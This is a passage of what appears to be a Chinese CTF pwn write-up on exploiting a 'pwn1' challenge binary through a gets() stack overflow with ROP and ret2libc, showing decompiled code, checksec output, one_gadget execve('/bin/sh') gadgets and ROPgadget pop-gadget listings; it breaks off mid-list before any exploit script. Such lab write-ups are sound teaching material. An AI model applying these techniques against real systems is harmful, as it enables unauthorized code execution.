ROP;Ret2libc应用详解;CTF-pwn writeup;pwntools,one_gadget应用
文章目录
pwn1
逆向代码
// IDA 7.5
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF
init();
puts("Show me your code :D");
gets(buf, argv);
return 0;
}
检查保护
$ checksec pwn1
[*] '/home/hw1/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO #可以修改got表
Stack: No canary found #能直接进行栈溢出
NX: NX enabled #堆栈不可执行
PIE: No PIE (0x400000)
one_gadget
本题给了libc版本,可以使用one_gadget工具
$ one_gadget libc-2.31-dbg.so --near puts
[OneGadget] Gadgets near puts(0x76b10): # puts的偏移
0xcbcb1 execve("/bin/sh", r13, r12) # execve的偏移
constraints:
[r13] == NULL || r13 == NULL
[r12] == NULL || r12 == NULL
0xcbcb4 execve("/bin/sh", r13, rdx)
constraints:
[r13] == NULL || r13 == NULL
[rdx] == NULL || rdx == NULL
0xcbcb7 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
得到execve相对地址和puts的相对地址,可以用来计算偏移。
puts_offset = 0x076b10;execve_offset = 0xcbcb1
64位程序溢出还需要找到一个pop rdi;ret
这个execve 的限制是 r12,r13 都为0,还需要 pop r12; pop r13
cherry@cherry-vm:~/workspace/hw1$ ROPgadget --binary pwn1 --only "pop|ret"
Gadgets information
============================================================
0x000000000040127c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret # here2
0x000000000040127e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401280 : pop r14 ; pop r15 ; ret
0x0000000000401282 : pop r15 ; ret
0x000000000040127b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040127f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040115d : pop rbp ; ret
0x0000000000401283 : pop rdi ; ret # here1
0x0000000000401281 : pop rsi ; pop r15 ; ret
0x000000000040127d : pop rsp ; pop r13